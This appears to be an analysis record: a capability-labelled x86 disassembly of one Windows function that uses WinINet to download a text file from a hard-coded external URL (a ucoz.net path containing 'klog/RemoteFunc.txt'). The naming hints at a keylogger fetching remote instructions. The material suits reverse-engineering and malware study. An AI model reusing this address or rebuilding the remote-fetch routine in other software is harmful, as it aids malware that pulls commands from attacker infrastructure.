Function at 0x4020c0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406abb
mov eax, dword fs:[0]
push eax
mov eax, 0x1040
call fcn.00405b80
mov eax, dword [0x40b040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x1044]
push eax
mov dword [ebp - 0x1048], edi
lea eax, [ebp - 0x1028]
xorps xmm0, xmm0
mov dword [ebp - 0x1018], 0
push eax
movups xmmword [ebp - 0x1028], xmm0
mov dword [ebp - 0x1014], 0
mov dword [ebp - 0x1044], 0x2f
call fcn.00401430
movups xmm0, xmmword [str.https:__dubdive.ucoz.net_klog_RemoteFunc.txt]
mov ecx, eax
mov dword [ebp - 0x1018], 0x2c
mov eax, dword [ebp - 0x1044]
add esp, 8
mov dword [ebp - 0x1014], eax
mov dword [ebp - 0x1028], ecx
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x4074e8]
movups xmmword [ecx + 0x10], xmm0
movq xmm0, qword [0x4074f8]
movq qword [ecx + 0x20], xmm0
mov eax, dword [0x407500]
mov dword [ecx + 0x28], eax
mov byte [ecx + 0x2c], 0
push 0
push 0
push 0
push 1
push str.HTTP_Client
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [ebp - 0x1044], ecx
test ecx, ecx
jne 0x402259
push 0x401760
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_initializing_WinINet:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.004010d0
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [ebp - 0x1014]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp ecx, 0xf
jbe 0x40223c
mov edx, dword [ebp - 0x1028]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402232
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4023ff
push ecx
push edx
call fcn.00405955
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00405b68
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1014], 0xf
lea eax, [ebp - 0x1028]
push 0
cmova eax, dword [ebp - 0x1028]
push SysReAllocString
push 0
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x4022c6
push 0x401760
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_opening_URL:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.004010d0
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0x1044]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x4021dd
xorps xmm0, xmm0
mov dword [ebp - 0x1030], 0
movups xmmword [ebp - 0x1040], xmm0
mov dword [ebp - 0x102c], 0xf
mov byte [ebp - 0x1040], 0
lea eax, [ebp - 0x1048]
mov byte [ebp - 4], 1
push eax
push 0xfff
lea eax, [ebp - 0x1010]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402370
nop dword [eax]
mov eax, dword [ebp - 0x1048]
test eax, eax
je 0x402370
cmp eax, 0x1000
jae 0x402405
mov byte [ebp + eax - 0x1010], 0
lea eax, [ebp - 0x1010]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402336
sub eax, edx
lea ecx, [ebp - 0x1040]
push eax
lea eax, [ebp - 0x1010]
push eax
call fcn.00403220
lea eax, [ebp - 0x1048]
push eax
push 0xfff
lea eax, [ebp - 0x1010]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402310
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x1044]
call esi
mov ecx, dword [ebp - 0x1014]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [ebp - 0x1040]
mov byte [ebp - 0x1040], 0
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x1030]
movq qword [edi + 0x10], xmm0
mov dword [ebp - 0x1030], 0
mov dword [ebp - 0x102c], 0xf
cmp ecx, 0xf
jbe 0x40223c
mov edx, dword [ebp - 0x1028]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402232
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402232
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call fcn.00405a8b
int3